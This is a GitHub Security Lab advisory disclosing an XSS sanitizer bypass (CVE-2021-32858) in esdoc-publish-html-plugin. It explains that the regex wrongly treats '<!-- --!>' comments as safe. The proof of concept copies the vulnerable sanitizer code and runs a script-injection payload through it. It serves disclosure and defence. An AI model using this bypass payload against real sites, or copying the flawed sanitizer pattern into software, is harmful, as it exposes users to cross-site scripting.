skip to content
Back to GitHub.com
Home Bounties Research Advisories Get Involved Events
April 5, 2022

GHSL-2021-1034: HTML sanitizer bypass leading to XSS in esdoc-publish-html-plugin - CVE-2021-32858

GitHub Security Lab

Coordinated Disclosure Timeline

Summary

The esdoc-publish-html-plugin HTML sanitizer can be bypassed which may lead to cross-site scripting (XSS) issues.

Product

esdoc-publish-html-plugin

Tested Version

All (latest is 1.1.2).

Details

Issue: Bad HTML sanitizer in esdoc-publish-html-plugin/src/Builder/util.js (GHSL-2021-1034)

The HTML sanitizer is supposed to remove any potentially malicious HTML. For that purpose, it removes any tags or attributes that can execute javascript code. The sanitizer preserves comments, but it misparses what a comment is. The sanitizer assumes that HTML comments look like <!-- comment -->, however comments can also look like <!-- --!>. That can be used to trick the sanitizer into preserving arbitrary HTML content.

The relevant code is here.

Impact

This issue may lead to cross-site scripting

Resources

The vulnerable code is here.

The issue was found using a CodeQL query.

PoC:

// ### Copy paste from `esdoc-publish-html-plugin/src/Builder/util.js` ###
const marked = require('marked');
const escape = require('escape-html');

/**
 * convert markdown text to html.
 * @param {string} text - markdown text.
 * @param {boolean} [breaks=false] if true, break line. FYI gfm is not breaks.
 * @return {string} html.
 */
function markdown(text, breaks = false) {
  // original render does not support multi-byte anchor
  const renderer = new marked.Renderer();
  renderer.heading = function (text, level) {
    const id = escapeURLHash(text);
    return `<h${level} id=${id}>${text}</h${level}>`;
  };

  const availableTags = ['span', 'a', 'p', 'div', 'img', 'h1', 'h2', 'h3', 'h4', 'h5', 'br', 'hr', 'li', 'ul', 'ol', 'code', 'pre', 'details', 'summary', 'kbd'];
  const availableAttributes = ['src', 'href', 'title', 'class', 'id', 'name', 'width', 'height', 'target'];

  const compiled = marked(text, {
    renderer: renderer,
    gfm: true,
    tables: true,
    breaks: breaks,
    sanitize: true,
    sanitizer: (tag) =>{
      if (tag.match(/<!--.*-->/)) {
        return tag;
      }
      const tagName = tag.match(/^<\/?(\w+)/)[1];
      if (!availableTags.includes(tagName)) {
        return escape(tag);
      }

      const sanitizedTag = tag.replace(/([\w\-]+)=(["'].*?["'])/g, (_, attr, val)=>{
        if (!availableAttributes.includes(attr)) return '';
        /* eslint-disable no-script-url */
        if (val.indexOf('javascript:') !== -1) return '';
        return `${attr}=${val}`;
      });

      return sanitizedTag;
    },
    highlight: function(code) {
      // return `<pre class="source-code"><code class="prettyprint">${escape(code)}</code></pre>`;
      return `<code class="source-code prettyprint">${escape(code)}</code>`;
    }
  });

  return compiled;
}

console.log("Foobar");
const str = "<!-- foobar --!> <script>alert(2)</script> -->  <script>alert(3)</script>";

console.log(markdown(str));
// prints:  <p><!-- foobar --!> <script>alert(2)</script> -->  &lt;script&gt;alert(3)&lt;/script&gt;</p>
// this will show an alert if executed by a browser.

CVE

Credit

This issue was discovered and reported by GitHub team member @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2021-1034 in any communication regarding this issue.